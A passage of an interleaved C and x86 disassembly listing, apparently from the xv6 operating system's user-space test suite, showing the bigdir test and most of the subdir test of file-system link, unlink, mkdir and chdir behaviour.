1df7: 68 64 4d 00 00 push $0x4d64
1dfc: 6a 01 push $0x1
1dfe: e8 3b 22 00 00 call 403e <printf>
1e03: 83 c4 10 add $0x10,%esp
}
1e06: 90 nop
1e07: c9 leave
1e08: c3 ret
00001e09 <bigdir>:
// directory that uses indirect blocks
void
bigdir(void)
{
1e09: 55 push %ebp
1e0a: 89 e5 mov %esp,%ebp
1e0c: 83 ec 28 sub $0x28,%esp
int i, fd;
char name[10];
printf(1, "bigdir test\n");
1e0f: 83 ec 08 sub $0x8,%esp
1e12: 68 73 4d 00 00 push $0x4d73
1e17: 6a 01 push $0x1
1e19: e8 20 22 00 00 call 403e <printf>
1e1e: 83 c4 10 add $0x10,%esp
unlink("bd");
1e21: 83 ec 0c sub $0xc,%esp
1e24: 68 80 4d 00 00 push $0x4d80
1e29: e8 ed 20 00 00 call 3f1b <unlink>
1e2e: 83 c4 10 add $0x10,%esp
fd = open("bd", O_CREATE);
1e31: 83 ec 08 sub $0x8,%esp
1e34: 68 00 02 00 00 push $0x200
1e39: 68 80 4d 00 00 push $0x4d80
1e3e: e8 c8 20 00 00 call 3f0b <open>
1e43: 83 c4 10 add $0x10,%esp
1e46: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd < 0){
1e49: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1e4d: 79 17 jns 1e66 <bigdir+0x5d>
printf(1, "bigdir create failed\n");
1e4f: 83 ec 08 sub $0x8,%esp
1e52: 68 83 4d 00 00 push $0x4d83
1e57: 6a 01 push $0x1
1e59: e8 e0 21 00 00 call 403e <printf>
1e5e: 83 c4 10 add $0x10,%esp
exit();
1e61: e8 65 20 00 00 call 3ecb <exit>
}
close(fd);
1e66: 83 ec 0c sub $0xc,%esp
1e69: ff 75 f0 pushl -0x10(%ebp)
1e6c: e8 82 20 00 00 call 3ef3 <close>
1e71: 83 c4 10 add $0x10,%esp
for(i = 0; i < 500; i++){
1e74: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1e7b: eb 63 jmp 1ee0 <bigdir+0xd7>
name[0] = 'x';
1e7d: c6 45 e6 78 movb $0x78,-0x1a(%ebp)
name[1] = '0' + (i / 64);
1e81: 8b 45 f4 mov -0xc(%ebp),%eax
1e84: 8d 50 3f lea 0x3f(%eax),%edx
1e87: 85 c0 test %eax,%eax
1e89: 0f 48 c2 cmovs %edx,%eax
1e8c: c1 f8 06 sar $0x6,%eax
1e8f: 83 c0 30 add $0x30,%eax
1e92: 88 45 e7 mov %al,-0x19(%ebp)
name[2] = '0' + (i % 64);
1e95: 8b 45 f4 mov -0xc(%ebp),%eax
1e98: 99 cltd
1e99: c1 ea 1a shr $0x1a,%edx
1e9c: 01 d0 add %edx,%eax
1e9e: 83 e0 3f and $0x3f,%eax
1ea1: 29 d0 sub %edx,%eax
1ea3: 83 c0 30 add $0x30,%eax
1ea6: 88 45 e8 mov %al,-0x18(%ebp)
name[3] = '\0';
1ea9: c6 45 e9 00 movb $0x0,-0x17(%ebp)
if(link("bd", name) != 0){
1ead: 83 ec 08 sub $0x8,%esp
1eb0: 8d 45 e6 lea -0x1a(%ebp),%eax
1eb3: 50 push %eax
1eb4: 68 80 4d 00 00 push $0x4d80
1eb9: e8 6d 20 00 00 call 3f2b <link>
1ebe: 83 c4 10 add $0x10,%esp
1ec1: 85 c0 test %eax,%eax
1ec3: 74 17 je 1edc <bigdir+0xd3>
printf(1, "bigdir link failed\n");
1ec5: 83 ec 08 sub $0x8,%esp
1ec8: 68 99 4d 00 00 push $0x4d99
1ecd: 6a 01 push $0x1
1ecf: e8 6a 21 00 00 call 403e <printf>
1ed4: 83 c4 10 add $0x10,%esp
exit();
1ed7: e8 ef 1f 00 00 call 3ecb <exit>
for(i = 0; i < 500; i++){
1edc: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1ee0: 81 7d f4 f3 01 00 00 cmpl $0x1f3,-0xc(%ebp)
1ee7: 7e 94 jle 1e7d <bigdir+0x74>
}
}
unlink("bd");
1ee9: 83 ec 0c sub $0xc,%esp
1eec: 68 80 4d 00 00 push $0x4d80
1ef1: e8 25 20 00 00 call 3f1b <unlink>
1ef6: 83 c4 10 add $0x10,%esp
for(i = 0; i < 500; i++){
1ef9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1f00: eb 5e jmp 1f60 <bigdir+0x157>
name[0] = 'x';
1f02: c6 45 e6 78 movb $0x78,-0x1a(%ebp)
name[1] = '0' + (i / 64);
1f06: 8b 45 f4 mov -0xc(%ebp),%eax
1f09: 8d 50 3f lea 0x3f(%eax),%edx
1f0c: 85 c0 test %eax,%eax
1f0e: 0f 48 c2 cmovs %edx,%eax
1f11: c1 f8 06 sar $0x6,%eax
1f14: 83 c0 30 add $0x30,%eax
1f17: 88 45 e7 mov %al,-0x19(%ebp)
name[2] = '0' + (i % 64);
1f1a: 8b 45 f4 mov -0xc(%ebp),%eax
1f1d: 99 cltd
1f1e: c1 ea 1a shr $0x1a,%edx
1f21: 01 d0 add %edx,%eax
1f23: 83 e0 3f and $0x3f,%eax
1f26: 29 d0 sub %edx,%eax
1f28: 83 c0 30 add $0x30,%eax
1f2b: 88 45 e8 mov %al,-0x18(%ebp)
name[3] = '\0';
1f2e: c6 45 e9 00 movb $0x0,-0x17(%ebp)
if(unlink(name) != 0){
1f32: 83 ec 0c sub $0xc,%esp
1f35: 8d 45 e6 lea -0x1a(%ebp),%eax
1f38: 50 push %eax
1f39: e8 dd 1f 00 00 call 3f1b <unlink>
1f3e: 83 c4 10 add $0x10,%esp
1f41: 85 c0 test %eax,%eax
1f43: 74 17 je 1f5c <bigdir+0x153>
printf(1, "bigdir unlink failed");
1f45: 83 ec 08 sub $0x8,%esp
1f48: 68 ad 4d 00 00 push $0x4dad
1f4d: 6a 01 push $0x1
1f4f: e8 ea 20 00 00 call 403e <printf>
1f54: 83 c4 10 add $0x10,%esp
exit();
1f57: e8 6f 1f 00 00 call 3ecb <exit>
for(i = 0; i < 500; i++){
1f5c: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1f60: 81 7d f4 f3 01 00 00 cmpl $0x1f3,-0xc(%ebp)
1f67: 7e 99 jle 1f02 <bigdir+0xf9>
}
}
printf(1, "bigdir ok\n");
1f69: 83 ec 08 sub $0x8,%esp
1f6c: 68 c2 4d 00 00 push $0x4dc2
1f71: 6a 01 push $0x1
1f73: e8 c6 20 00 00 call 403e <printf>
1f78: 83 c4 10 add $0x10,%esp
}
1f7b: 90 nop
1f7c: c9 leave
1f7d: c3 ret
00001f7e <subdir>:
void
subdir(void)
{
1f7e: 55 push %ebp
1f7f: 89 e5 mov %esp,%ebp
1f81: 83 ec 18 sub $0x18,%esp
int fd, cc;
printf(1, "subdir test\n");
1f84: 83 ec 08 sub $0x8,%esp
1f87: 68 cd 4d 00 00 push $0x4dcd
1f8c: 6a 01 push $0x1
1f8e: e8 ab 20 00 00 call 403e <printf>
1f93: 83 c4 10 add $0x10,%esp
unlink("ff");
1f96: 83 ec 0c sub $0xc,%esp
1f99: 68 da 4d 00 00 push $0x4dda
1f9e: e8 78 1f 00 00 call 3f1b <unlink>
1fa3: 83 c4 10 add $0x10,%esp
if(mkdir("dd") != 0){
1fa6: 83 ec 0c sub $0xc,%esp
1fa9: 68 dd 4d 00 00 push $0x4ddd
1fae: e8 80 1f 00 00 call 3f33 <mkdir>
1fb3: 83 c4 10 add $0x10,%esp
1fb6: 85 c0 test %eax,%eax
1fb8: 74 17 je 1fd1 <subdir+0x53>
printf(1, "subdir mkdir dd failed\n");
1fba: 83 ec 08 sub $0x8,%esp
1fbd: 68 e0 4d 00 00 push $0x4de0
1fc2: 6a 01 push $0x1
1fc4: e8 75 20 00 00 call 403e <printf>
1fc9: 83 c4 10 add $0x10,%esp
exit();
1fcc: e8 fa 1e 00 00 call 3ecb <exit>
}
fd = open("dd/ff", O_CREATE | O_RDWR);
1fd1: 83 ec 08 sub $0x8,%esp
1fd4: 68 02 02 00 00 push $0x202
1fd9: 68 f8 4d 00 00 push $0x4df8
1fde: e8 28 1f 00 00 call 3f0b <open>
1fe3: 83 c4 10 add $0x10,%esp
1fe6: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1fe9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1fed: 79 17 jns 2006 <subdir+0x88>
printf(1, "create dd/ff failed\n");
1fef: 83 ec 08 sub $0x8,%esp
1ff2: 68 fe 4d 00 00 push $0x4dfe
1ff7: 6a 01 push $0x1
1ff9: e8 40 20 00 00 call 403e <printf>
1ffe: 83 c4 10 add $0x10,%esp
exit();
2001: e8 c5 1e 00 00 call 3ecb <exit>
}
write(fd, "ff", 2);
2006: 83 ec 04 sub $0x4,%esp
2009: 6a 02 push $0x2
200b: 68 da 4d 00 00 push $0x4dda
2010: ff 75 f4 pushl -0xc(%ebp)
2013: e8 d3 1e 00 00 call 3eeb <write>
2018: 83 c4 10 add $0x10,%esp
close(fd);
201b: 83 ec 0c sub $0xc,%esp
201e: ff 75 f4 pushl -0xc(%ebp)
2021: e8 cd 1e 00 00 call 3ef3 <close>
2026: 83 c4 10 add $0x10,%esp
if(unlink("dd") >= 0){
2029: 83 ec 0c sub $0xc,%esp
202c: 68 dd 4d 00 00 push $0x4ddd
2031: e8 e5 1e 00 00 call 3f1b <unlink>
2036: 83 c4 10 add $0x10,%esp
2039: 85 c0 test %eax,%eax
203b: 78 17 js 2054 <subdir+0xd6>
printf(1, "unlink dd (non-empty dir) succeeded!\n");
203d: 83 ec 08 sub $0x8,%esp
2040: 68 14 4e 00 00 push $0x4e14
2045: 6a 01 push $0x1
2047: e8 f2 1f 00 00 call 403e <printf>
204c: 83 c4 10 add $0x10,%esp
exit();
204f: e8 77 1e 00 00 call 3ecb <exit>
}
if(mkdir("/dd/dd") != 0){
2054: 83 ec 0c sub $0xc,%esp
2057: 68 3a 4e 00 00 push $0x4e3a
205c: e8 d2 1e 00 00 call 3f33 <mkdir>
2061: 83 c4 10 add $0x10,%esp
2064: 85 c0 test %eax,%eax
2066: 74 17 je 207f <subdir+0x101>
printf(1, "subdir mkdir dd/dd failed\n");
2068: 83 ec 08 sub $0x8,%esp
206b: 68 41 4e 00 00 push $0x4e41
2070: 6a 01 push $0x1
2072: e8 c7 1f 00 00 call 403e <printf>
2077: 83 c4 10 add $0x10,%esp
exit();
207a: e8 4c 1e 00 00 call 3ecb <exit>
}
fd = open("dd/dd/ff", O_CREATE | O_RDWR);
207f: 83 ec 08 sub $0x8,%esp
2082: 68 02 02 00 00 push $0x202
2087: 68 5c 4e 00 00 push $0x4e5c
208c: e8 7a 1e 00 00 call 3f0b <open>
2091: 83 c4 10 add $0x10,%esp
2094: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2097: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
209b: 79 17 jns 20b4 <subdir+0x136>
printf(1, "create dd/dd/ff failed\n");
209d: 83 ec 08 sub $0x8,%esp
20a0: 68 65 4e 00 00 push $0x4e65
20a5: 6a 01 push $0x1
20a7: e8 92 1f 00 00 call 403e <printf>
20ac: 83 c4 10 add $0x10,%esp
exit();
20af: e8 17 1e 00 00 call 3ecb <exit>
}
write(fd, "FF", 2);
20b4: 83 ec 04 sub $0x4,%esp
20b7: 6a 02 push $0x2
20b9: 68 7d 4e 00 00 push $0x4e7d
20be: ff 75 f4 pushl -0xc(%ebp)
20c1: e8 25 1e 00 00 call 3eeb <write>
20c6: 83 c4 10 add $0x10,%esp
close(fd);
20c9: 83 ec 0c sub $0xc,%esp
20cc: ff 75 f4 pushl -0xc(%ebp)
20cf: e8 1f 1e 00 00 call 3ef3 <close>
20d4: 83 c4 10 add $0x10,%esp
fd = open("dd/dd/../ff", 0);
20d7: 83 ec 08 sub $0x8,%esp
20da: 6a 00 push $0x0
20dc: 68 80 4e 00 00 push $0x4e80
20e1: e8 25 1e 00 00 call 3f0b <open>
20e6: 83 c4 10 add $0x10,%esp
20e9: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
20ec: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
20f0: 79 17 jns 2109 <subdir+0x18b>
printf(1, "open dd/dd/../ff failed\n");
20f2: 83 ec 08 sub $0x8,%esp
20f5: 68 8c 4e 00 00 push $0x4e8c
20fa: 6a 01 push $0x1
20fc: e8 3d 1f 00 00 call 403e <printf>
2101: 83 c4 10 add $0x10,%esp
exit();
2104: e8 c2 1d 00 00 call 3ecb <exit>
}
cc = read(fd, buf, sizeof(buf));
2109: 83 ec 04 sub $0x4,%esp
210c: 68 00 20 00 00 push $0x2000
2111: 68 a0 8a 00 00 push $0x8aa0
2116: ff 75 f4 pushl -0xc(%ebp)
2119: e8 c5 1d 00 00 call 3ee3 <read>
211e: 83 c4 10 add $0x10,%esp
2121: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc != 2 || buf[0] != 'f'){
2124: 83 7d f0 02 cmpl $0x2,-0x10(%ebp)
2128: 75 0b jne 2135 <subdir+0x1b7>
212a: 0f b6 05 a0 8a 00 00 movzbl 0x8aa0,%eax
2131: 3c 66 cmp $0x66,%al
2133: 74 17 je 214c <subdir+0x1ce>
printf(1, "dd/dd/../ff wrong content\n");
2135: 83 ec 08 sub $0x8,%esp
2138: 68 a5 4e 00 00 push $0x4ea5
213d: 6a 01 push $0x1
213f: e8 fa 1e 00 00 call 403e <printf>
2144: 83 c4 10 add $0x10,%esp
exit();
2147: e8 7f 1d 00 00 call 3ecb <exit>
}
close(fd);
214c: 83 ec 0c sub $0xc,%esp
214f: ff 75 f4 pushl -0xc(%ebp)
2152: e8 9c 1d 00 00 call 3ef3 <close>
2157: 83 c4 10 add $0x10,%esp
if(link("dd/dd/ff", "dd/dd/ffff") != 0){
215a: 83 ec 08 sub $0x8,%esp
215d: 68 c0 4e 00 00 push $0x4ec0
2162: 68 5c 4e 00 00 push $0x4e5c
2167: e8 bf 1d 00 00 call 3f2b <link>
216c: 83 c4 10 add $0x10,%esp
216f: 85 c0 test %eax,%eax
2171: 74 17 je 218a <subdir+0x20c>
printf(1, "link dd/dd/ff dd/dd/ffff failed\n");
2173: 83 ec 08 sub $0x8,%esp
2176: 68 cc 4e 00 00 push $0x4ecc
217b: 6a 01 push $0x1
217d: e8 bc 1e 00 00 call 403e <printf>
2182: 83 c4 10 add $0x10,%esp
exit();
2185: e8 41 1d 00 00 call 3ecb <exit>
}
if(unlink("dd/dd/ff") != 0){
218a: 83 ec 0c sub $0xc,%esp
218d: 68 5c 4e 00 00 push $0x4e5c
2192: e8 84 1d 00 00 call 3f1b <unlink>
2197: 83 c4 10 add $0x10,%esp
219a: 85 c0 test %eax,%eax
219c: 74 17 je 21b5 <subdir+0x237>
printf(1, "unlink dd/dd/ff failed\n");
219e: 83 ec 08 sub $0x8,%esp
21a1: 68 ed 4e 00 00 push $0x4eed
21a6: 6a 01 push $0x1
21a8: e8 91 1e 00 00 call 403e <printf>
21ad: 83 c4 10 add $0x10,%esp
exit();
21b0: e8 16 1d 00 00 call 3ecb <exit>
}
if(open("dd/dd/ff", O_RDONLY) >= 0){
21b5: 83 ec 08 sub $0x8,%esp
21b8: 6a 00 push $0x0
21ba: 68 5c 4e 00 00 push $0x4e5c
21bf: e8 47 1d 00 00 call 3f0b <open>
21c4: 83 c4 10 add $0x10,%esp
21c7: 85 c0 test %eax,%eax
21c9: 78 17 js 21e2 <subdir+0x264>
printf(1, "open (unlinked) dd/dd/ff succeeded\n");
21cb: 83 ec 08 sub $0x8,%esp
21ce: 68 08 4f 00 00 push $0x4f08
21d3: 6a 01 push $0x1
21d5: e8 64 1e 00 00 call 403e <printf>
21da: 83 c4 10 add $0x10,%esp
exit();
21dd: e8 e9 1c 00 00 call 3ecb <exit>
}
if(chdir("dd") != 0){
21e2: 83 ec 0c sub $0xc,%esp
21e5: 68 dd 4d 00 00 push $0x4ddd
21ea: e8 4c 1d 00 00 call 3f3b <chdir>
21ef: 83 c4 10 add $0x10,%esp
21f2: 85 c0 test %eax,%eax
21f4: 74 17 je 220d <subdir+0x28f>
printf(1, "chdir dd failed\n");
21f6: 83 ec 08 sub $0x8,%esp
21f9: 68 2c 4f 00 00 push $0x4f2c
21fe: 6a 01 push $0x1
2200: e8 39 1e 00 00 call 403e <printf>
2205: 83 c4 10 add $0x10,%esp
exit();
2208: e8 be 1c 00 00 call 3ecb <exit>
}
if(chdir("dd/../../dd") != 0){
220d: 83 ec 0c sub $0xc,%esp
2210: 68 3d 4f 00 00 push $0x4f3d
2215: e8 21 1d 00 00 call 3f3b <chdir>
221a: 83 c4 10 add $0x10,%esp
221d: 85 c0 test %eax,%eax
221f: 74 17 je 2238 <subdir+0x2ba>
printf(1, "chdir dd/../../dd failed\n");
2221: 83 ec 08 sub $0x8,%esp
2224: 68 49 4f 00 00 push $0x4f49
2229: 6a 01 push $0x1
222b: e8 0e 1e 00 00 call 403e <printf>
2230: 83 c4 10 add $0x10,%esp
exit();
2233: e8 93 1c 00 00 call 3ecb <exit>
}
if(chdir("dd/../../../dd") != 0){
2238: 83 ec 0c sub $0xc,%esp
223b: 68 63 4f 00 00 push $0x4f63
2240: e8 f6 1c 00 00 call 3f3b <chdir>
2245: 83 c4 10 add $0x10,%esp
2248: 85 c0 test %eax,%eax
224a: 74 17 je 2263 <subdir+0x2e5>
printf(1, "chdir dd/../../dd failed\n");
224c: 83 ec 08 sub $0x8,%esp
224f: 68 49 4f 00 00 push $0x4f49
2254: 6a 01 push $0x1
2256: e8 e3 1d 00 00 call 403e <printf>
225b: 83 c4 10 add $0x10,%esp
exit();
225e: e8 68 1c 00 00 call 3ecb <exit>
}
if(chdir("./..") != 0){
2263: 83 ec 0c sub $0xc,%esp
2266: 68 72 4f 00 00 push $0x4f72
226b: e8 cb 1c 00 00 call 3f3b <chdir>
2270: 83 c4 10 add $0x10,%esp
2273: 85 c0 test %eax,%eax
2275: 74 17 je 228e <subdir+0x310>
printf(1, "chdir ./.. failed\n");
2277: 83 ec 08 sub $0x8,%esp
227a: 68 77 4f 00 00 push $0x4f77
227f: 6a 01 push $0x1
2281: e8 b8 1d 00 00 call 403e <printf>
2286: 83 c4 10 add $0x10,%esp
exit();
2289: e8 3d 1c 00 00 call 3ecb <exit>
}
fd = open("dd/dd/ffff", 0);
228e: 83 ec 08 sub $0x8,%esp
2291: 6a 00 push $0x0
2293: 68 c0 4e 00 00 push $0x4ec0
2298: e8 6e 1c 00 00 call 3f0b <open>
229d: 83 c4 10 add $0x10,%esp
22a0: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
22a3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
22a7: 79 17 jns 22c0 <subdir+0x342>
printf(1, "open dd/dd/ffff failed\n");
22a9: 83 ec 08 sub $0x8,%esp
22ac: 68 8a 4f 00 00 push $0x4f8a
22b1: 6a 01 push $0x1
22b3: e8 86 1d 00 00 call 403e <printf>
22b8: 83 c4 10 add $0x10,%esp
exit();
22bb: e8 0b 1c 00 00 call 3ecb <exit>
}
if(read(fd, buf, sizeof(buf)) != 2){
22c0: 83 ec 04 sub $0x4,%esp
22c3: 68 00 20 00 00 push $0x2000
22c8: 68 a0 8a 00 00 push $0x8aa0
22cd: ff 75 f4 pushl -0xc(%ebp)
22d0: e8 0e 1c 00 00 call 3ee3 <read>
22d5: 83 c4 10 add $0x10,%esp
22d8: 83 f8 02 cmp $0x2,%eax
22db: 74 17 je 22f4 <subdir+0x376>
printf(1, "read dd/dd/ffff wrong len\n");
22dd: 83 ec 08 sub $0x8,%esp
22e0: 68 a2 4f 00 00 push $0x4fa2
22e5: 6a 01 push $0x1
22e7: e8 52 1d 00 00 call 403e <printf>
22ec: 83 c4 10 add $0x10,%esp
exit();
22ef: e8 d7 1b 00 00 call 3ecb <exit>
}
close(fd);
22f4: 83 ec 0c sub $0xc,%esp
22f7: ff 75 f4 pushl -0xc(%ebp)
22fa: e8 f4 1b 00 00 call 3ef3 <close>
22ff: 83 c4 10 add $0x10,%esp
if(open("dd/dd/ff", O_RDONLY) >= 0){
2302: 83 ec 08 sub $0x8,%esp
2305: 6a 00 push $0x0
2307: 68 5c 4e 00 00 push $0x4e5c
230c: e8 fa 1b 00 00 call 3f0b <open>
2311: 83 c4 10 add $0x10,%esp
2314: 85 c0 test %eax,%eax
2316: 78 17 js 232f <subdir+0x3b1>
printf(1, "open (unlinked) dd/dd/ff succeeded!\n");
2318: 83 ec 08 sub $0x8,%esp
231b: 68 c0 4f 00 00 push $0x4fc0
2320: 6a 01 push $0x1
2322: e8 17 1d 00 00 call 403e <printf>
2327: 83 c4 10 add $0x10,%esp
exit();
232a: e8 9c 1b 00 00 call 3ecb <exit>
}
if(open("dd/ff/ff", O_CREATE|O_RDWR) >= 0){
232f: 83 ec 08 sub $0x8,%esp
2332: 68 02 02 00 00 push $0x202
2337: 68 e5 4f 00 00 push $0x4fe5
233c: e8 ca 1b 00 00 call 3f0b <open>
2341: 83 c4 10 add $0x10,%esp
2344: 85 c0 test %eax,%eax
2346: 78 17 js 235f <subdir+0x3e1>
printf(1, "create dd/ff/ff succeeded!\n");
2348: 83 ec 08 sub $0x8,%esp
234b: 68 ee 4f 00 00 push $0x4fee
2350: 6a 01 push $0x1
2352: e8 e7 1c 00 00 call 403e <printf>
2357: 83 c4 10 add $0x10,%esp
exit();
235a: e8 6c 1b 00 00 call 3ecb <exit>
}
if(open("dd/xx/ff", O_CREATE|O_RDWR) >= 0){
235f: 83 ec 08 sub $0x8,%esp
2362: 68 02 02 00 00 push $0x202
2367: 68 0a 50 00 00 push $0x500a
236c: e8 9a 1b 00 00 call 3f0b <open>
2371: 83 c4 10 add $0x10,%esp
2374: 85 c0 test %eax,%eax
2376: 78 17 js 238f <subdir+0x411>
printf(1, "create dd/xx/ff succeeded!\n");
2378: 83 ec 08 sub $0x8,%esp
237b: 68 13 50 00 00 push $0x5013
2380: 6a 01 push $0x1
2382: e8 b7 1c 00 00 call 403e <printf>
2387: 83 c4 10 add $0x10,%esp
exit();
238a: e8 3c 1b 00 00 call 3ecb <exit>
}
if(open("dd", O_CREATE) >= 0){
238f: 83 ec 08 sub $0x8,%esp
2392: 68 00 02 00 00 push $0x200
2397: 68 dd 4d 00 00 push $0x4ddd
239c: e8 6a 1b 00 00 call 3f0b <open>
23a1: 83 c4 10 add $0x10,%esp
23a4: 85 c0 test %eax,%eax
23a6: 78 17 js 23bf <subdir+0x441>
printf(1, "create dd succeeded!\n");
23a8: 83 ec 08 sub $0x8,%esp
23ab: 68 2f 50 00 00 push $0x502f
23b0: 6a 01 push $0x1
23b2: e8 87 1c 00 00 call 403e <printf>
23b7: 83 c4 10 add $0x10,%esp
exit();
23ba: e8 0c 1b 00 00 call 3ecb <exit>
}
if(open("dd", O_RDWR) >= 0){
23bf: 83 ec 08 sub $0x8,%esp
23c2: 6a 02 push $0x2
23c4: 68 dd 4d 00 00 push $0x4ddd
23c9: e8 3d 1b 00 00 call 3f0b <open>
23ce: 83 c4 10 add $0x10,%esp
23d1: 85 c0 test %eax,%eax
23d3: 78 17 js 23ec <subdir+0x46e>
printf(1, "open dd rdwr succeeded!\n");
23d5: 83 ec 08 sub $0x8,%esp
23d8: 68 45 50 00 00 push $0x5045
23dd: 6a 01 push $0x1
23df: e8 5a 1c 00 00 call 403e <printf>
23e4: 83 c4 10 add $0x10,%esp
exit();
23e7: e8 df 1a 00 00 call 3ecb <exit>
}
if(open("dd", O_WRONLY) >= 0){
23ec: 83 ec 08 sub $0x8,%esp
23ef: 6a 01 push $0x1
23f1: 68 dd 4d 00 00 push $0x4ddd
23f6: e8 10 1b 00 00 call 3f0b <open>
23fb: 83 c4 10 add $0x10,%esp
23fe: 85 c0 test %eax,%eax
2400: 78 17 js 2419 <subdir+0x49b>
printf(1, "open dd wronly succeeded!\n");
2402: 83 ec 08 sub $0x8,%esp
2405: 68 5e 50 00 00 push $0x505e
240a: 6a 01 push $0x1
240c: e8 2d 1c 00 00 call 403e <printf>
2411: 83 c4 10 add $0x10,%esp
exit();
2414: e8 b2 1a 00 00 call 3ecb <exit>
}
if(link("dd/ff/ff", "dd/dd/xx") == 0){
2419: 83 ec 08 sub $0x8,%esp
241c: 68 79 50 00 00 push $0x5079
2421: 68 e5 4f 00 00 push $0x4fe5
2426: e8 00 1b 00 00 call 3f2b <link>
242b: 83 c4 10 add $0x10,%esp
242e: 85 c0 test %eax,%eax
2430: 75 17 jne 2449 <subdir+0x4cb>
printf(1, "link dd/ff/ff dd/dd/xx succeeded!\n");
2432: 83 ec 08 sub $0x8,%esp
2435: 68 84 50 00 00 push $0x5084
243a: 6a 01 push $0x1
243c: e8 fd 1b 00 00 call 403e <printf>
2441: 83 c4 10 add $0x10,%esp
exit();
2444: e8 82 1a 00 00 call 3ecb <exit>
}
if(link("dd/xx/ff", "dd/dd/xx") == 0){
2449: 83 ec 08 sub $0x8,%esp
244c: 68 79 50 00 00 push $0x5079
2451: 68 0a 50 00 00 push $0x500a
2456: e8 d0 1a 00 00 call 3f2b <link>
245b: 83 c4 10 add $0x10,%esp
245e: 85 c0 test %eax,%eax
2460: 75 17 jne 2479 <subdir+0x4fb>
printf(1, "link dd/xx/ff dd/dd/xx succeeded!\n");
2462: 83 ec 08 sub $0x8,%esp
2465: 68 a8 50 00 00 push $0x50a8
246a: 6a 01 push $0x1
246c: e8 cd 1b 00 00 call 403e <printf>
2471: 83 c4 10 add $0x10,%esp
exit();
2474: e8 52 1a 00 00 call 3ecb <exit>
}
if(link("dd/ff", "dd/dd/ffff") == 0){
2479: 83 ec 08 sub $0x8,%esp
247c: 68 c0 4e 00 00 push $0x4ec0
2481: 68 f8 4d 00 00 push $0x4df8
2486: e8 a0 1a 00 00 call 3f2b <link>
248b: 83 c4 10 add $0x10,%esp
248e: 85 c0 test %eax,%eax
2490: 75 17 jne 24a9 <subdir+0x52b>
printf(1, "link dd/ff dd/dd/ffff succeeded!\n");
2492: 83 ec 08 sub $0x8,%esp
2495: 68 cc 50 00 00 push $0x50cc
249a: 6a 01 push $0x1
249c: e8 9d 1b 00 00 call 403e <printf>
24a1: 83 c4 10 add $0x10,%esp
exit();
24a4: e8 22 1a 00 00 call 3ecb <exit>
}
if(mkdir("dd/ff/ff") == 0){
24a9: 83 ec 0c sub $0xc,%esp
24ac: 68 e5 4f 00 00 push $0x4fe5
24b1: e8 7d 1a 00 00 call 3f33 <mkdir>
24b6: 83 c4 10 add $0x10,%esp
24b9: 85 c0 test %eax,%eax
24bb: 75 17 jne 24d4 <subdir+0x556>
printf(1, "mkdir dd/ff/ff succeeded!\n");
24bd: 83 ec 08 sub $0x8,%esp
24c0: 68 ee 50 00 00 push $0x50ee
24c5: 6a 01 push $0x1
24c7: e8 72 1b 00 00 call 403e <printf>
24cc: 83 c4 10 add $0x10,%esp
exit();
24cf: e8 f7 19 00 00 call 3ecb <exit>
}
if(mkdir("dd/xx/ff") == 0){
24d4: 83 ec 0c sub $0xc,%esp
24d7: 68 0a 50 00 00 push $0x500a
24dc: e8 52 1a 00 00 call 3f33 <mkdir>
24e1: 83 c4 10 add $0x10,%esp
24e4: 85 c0 test %eax,%eax
24e6: 75 17 jne 24ff <subdir+0x581>
printf(1, "mkdir dd/xx/ff succeeded!\n");
24e8: 83 ec 08 sub $0x8,%esp
24eb: 68 09 51 00 00 push $0x5109
24f0: 6a 01 push $0x1
24f2: e8 47 1b 00 00 call 403e <printf>
24f7: 83 c4 10 add $0x10,%esp
exit();
24fa: e8 cc 19 00 00 call 3ecb <exit>
}
if(mkdir("dd/dd/ffff") == 0){
24ff: 83 ec 0c sub $0xc,%esp
2502: 68 c0 4e 00 00 push $0x4ec0
2507: e8 27 1a 00 00 call 3f33 <mkdir>
250c: 83 c4 10 add $0x10,%esp
250f: 85 c0 test %eax,%eax
2511: 75 17 jne 252a <subdir+0x5ac>
printf(1, "mkdir dd/dd/ffff succeeded!\n");
2513: 83 ec 08 sub $0x8,%esp
2516: 68 24 51 00 00 push $0x5124
251b: 6a 01 push $0x1
251d: e8 1c 1b 00 00 call 403e <printf>
2522: 83 c4 10 add $0x10,%esp
exit();
2525: e8 a1 19 00 00 call 3ecb <exit>
}
if(unlink("dd/xx/ff") == 0){
252a: 83 ec 0c sub $0xc,%esp
252d: 68 0a 50 00 00 push $0x500a
2532: e8 e4 19 00 00 call 3f1b <unlink>
2537: 83 c4 10 add $0x10,%esp
253a: 85 c0 test %eax,%eax
253c: 75 17 jne 2555 <subdir+0x5d7>
printf(1, "unlink dd/xx/ff succeeded!\n");
253e: 83 ec 08 sub $0x8,%esp
2541: 68 41 51 00 00 push $0x5141
2546: 6a 01 push $0x1
2548: e8 f1 1a 00 00 call 403e <printf>
254d: 83 c4 10 add $0x10,%esp
exit();
2550: e8 76 19 00 00 call 3ecb <exit>
}
if(unlink("dd/ff/ff") == 0){
2555: 83 ec 0c sub $0xc,%esp
2558: 68 e5 4f 00 00 push $0x4fe5
255d: e8 b9 19 00 00 call 3f1b <unlink>
2562: 83 c4 10 add $0x10,%esp
2565: 85 c0 test %eax,%eax
2567: 75 17 jne 2580 <subdir+0x602>
printf(1, "unlink dd/ff/ff succeeded!\n");
2569: 83 ec 08 sub $0x8,%esp
256c: 68 5d 51 00 00 push $0x515d
2571: 6a 01 push $0x1
2573: e8 c6 1a 00 00 call 403e <printf>
2578: 83 c4 10 add $0x10,%esp
exit();
257b: e8 4b 19 00 00 call 3ecb <exit>
}
if(chdir("dd/ff") == 0){
2580: 83 ec 0c sub $0xc,%esp
2583: 68 f8 4d 00 00 push $0x4df8
2588: e8 ae 19 00 00 call 3f3b <chdir>
258d: 83 c4 10 add $0x10,%esp
2590: 85 c0 test %eax,%eax
